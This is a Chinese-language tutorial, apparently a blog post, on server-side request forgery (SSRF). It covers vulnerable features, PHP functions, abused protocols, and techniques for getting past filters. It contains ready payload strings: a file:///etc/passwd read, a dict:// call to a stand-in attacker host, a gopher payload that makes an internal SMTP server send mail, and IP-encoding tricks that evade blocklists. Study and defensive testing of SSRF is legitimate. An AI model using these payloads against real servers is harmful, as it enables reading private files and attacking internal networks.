目录
可能出现SSRF的地方:
SSRF相关函数
SSRF 的危险协议
常用绕过方式
SSRF (Server-Side Request Forgery) 即服务端请求伪造,从字面意思上理解就是伪造一个服务端请求,也即是说攻击者伪造服务端的请求发起攻击,攻击者不能直接访问目标服务,借由服务端为跳板来攻击目标系统。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
ssrf攻击:
1:内外网的端口和服务扫描
2:主机本地敏感数据的读取,利用file、gopher、dict协议读取本地文件、执行命令等
3: DOS攻击,请求大量文件,始终保持连接Keep-Alive Always
4:攻击内网的web应用,例如直接SQL注入、XSS攻击等(mysql默认不允许外部访问,但对于本地没有防护)
CSRF和SSRF的区别:
CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
1.社交分享功能:通过url参数的获取来实现点击链接的时候跳到指定的分享文章
例如:http://share.xxx.com/index.php?url=http://127.0.0.1
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片(远程加载头像……)
例如:http://image.xxx.com/image.php?image=http://127.0.0.1
5.图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
13.一切要你输入网址的地方和可以输入ip的地方
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞。
注意:
file_get_contents()
file_get_content
函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。
fsockopen()
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
curl_exec()
curl_exec函数用于执行指定的cURL会话,返回一个 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()
函数使用。
(1)file: 在有回显的情况下,利用 file 协议可以读取任意内容
file:// 之后可以接任意文件
http://ip/index.php?url=file:///etc/password
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
dict://ip/info
可获取本地redis
服务配置信息。
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活
部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:
限制为http://www.xxx.com 域名时(利用@)
URL的完整格式是
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
所以你访问
和
http://1.1.1.1
是一样的效果
可以尝试采用http基本身份认证的方式绕过
如:http://[email protected]@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
限制请求IP不为内网地址
1:采用短网址绕过,比如百度短地址https://dwz.cn/
2:利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
xip.name 在使用上与xip.io
一致
3:采用进制转换,127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433
限制请求只为http协议
采用302跳转,百度短地址,或者使用https://tinyurl.com生成302跳转地址。
利用[::]
可以利用[::]来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
利用句号
127。0。0。1 >>> 127.0.0.1
利用特殊地址
http://0/
利用协议
Dict://
dict://@ : /d:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
利用上传
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
这个大佬的博客实在是太细了!
细说——SSRF_lainwith的博客-CSDN博客_ssrf协议目录什么是SSRF形成原因容易出现SSRF的地方SSRF的危害脑图SSRF相关函数和协议函数file_get_contents()fsockopen()curl_exec()协议漏洞检测常用绕过方式限制为http://www.xxx.com 域名时(利用@)限制请求IP不为内网地址限制请求只为http协议利用[::]利用句号利用特殊地址利用协议利用上传利用Enclosed alphanumerics靶机演示CTFhub内网访问伪协议读取文件端口扫描其他SSRF打穿内网SSRF-lab漏洞防御参考什么是Shttps://blog.csdn.net/weixin_44288604/article/details/120710499